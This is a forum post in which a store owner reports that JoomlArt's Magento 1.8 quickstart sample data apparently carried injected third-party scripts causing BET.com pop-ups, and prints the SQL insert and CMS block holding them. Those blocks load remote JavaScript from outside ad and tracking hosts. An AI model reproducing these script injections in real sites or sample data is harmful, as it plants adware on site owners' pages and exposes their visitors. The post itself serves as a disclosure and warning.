Popups from BET.com when using the quickstart

Normally I have a pop-up blocker running on my browser, however today I visited my website WITHOUT it turned on, and guess what I found? A pop-up for BET.com.

After looking at the code for a bit, I found the issue.

Looking at the sample_data.sql file from the quick start ZIP file for Magento 1.8 I found the following line

Code:

INSERT INTO `#__cms_block` (`block_id`, `title`, `identifier`, `content`, `creation_time`, `update_time`, `is_active`) VALUES
(6, 'Bras', 'position-1', '<div>{{block type="joomlart_jmproducts/list" name="home.jmproducts.list" title="" mode="featured" catsid="35" }}</div>rn<div id="__tbSetup">&nbsp;</div>rn<script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={B88CB219-6D5D-41DC-B3EE-6FA1E365D558}&amp;d=2013-10-10&amp;s=http://dev.joomlart.com/jadev2_data/sites/auto/qs.jmlingeriemagento18.1382580911/index.php/admin/cms_block/edit/block_id/6/key/1c37225133d299b025b5f59c039a6b72/&amp;cb=0.5905462926504126"></script>rn<script id="__changoScript" type="text/javascript">// <![CDATA[rnvar __chd__ = {''aid'':11079,''chaid'':''www_objectify_ca''};(function() { var c = document.createElement(''script''); c.type = ''text/javascript''; c.async = true;c.src = ( ''https:'' == document.location.protocol ? ''https://z'': ''http://p'') + ''.chango.com/static/c.js''; var s = document.getElementsByTagName(''script'')[0];s.parentNode.insertBefore(c, s);})();rn// ]]></script>rn<script id="__simpliScript" type="text/javascript" src="http://i.simpli.fi/dpx.js?cid=3065&amp;m=0" data-sifi-parsed="true"></script>rn<script type="text/javascript" src="http://static.cdnsrv.com/apps/tv-classic/selectionLinks/tv-classic-selectionlinks.js"></script>rn<script type="text/javascript" src="//static.cdnsrv.com/apps/tv-classic/tv-classic-fg.js"></script>', '2011-11-10 04:21:24', '2013-10-24 02:22:56', 1),

Not cool, man. Not cool at all.

Looked at the CMS static blocks and found this code for "position-1"

Code:

<div>{{block type="joomlart_jmproducts/list" name="home.jmproducts.list" title="" mode="featured" &nbsp;}}</div>
<div id="__tbSetup">&nbsp;</div>
<script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={B88CB219-6D5D-41DC-B3EE-6FA1E365D558}&amp;d=2013-10-10&amp;s=http://dev.joomlart.com/jadev2_data/sites/auto/qs.jmlingeriemagento18.1382580911/index.php/admin/cms_block/edit/block_id/6/key/1c37225133d299b025b5f59c039a6b72/&amp;cb=0.5905462926504126"></script>
<script id="__changoScript" type="text/javascript">// <![CDATA[
var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})();
// ]]></script>
<script id="__simpliScript" type="text/javascript" src="http://i.simpli.fi/dpx.js?cid=3065&amp;m=0" data-sifi-parsed="true"></script>
<script type="text/javascript" src="http://static.cdnsrv.com/apps/tv-classic/selectionLinks/tv-classic-selectionlinks.js"></script>
<script type="text/javascript" src="//static.cdnsrv.com/apps/tv-classic/tv-classic-fg.js"></script>

So yeah, I’m thinking very hard about not doing future business with you as there is ABSOLUTELY no good explanation as to why that would/should be there, even if it is the quickstart data.

Lesson learned, never trust anybody. Always review all code.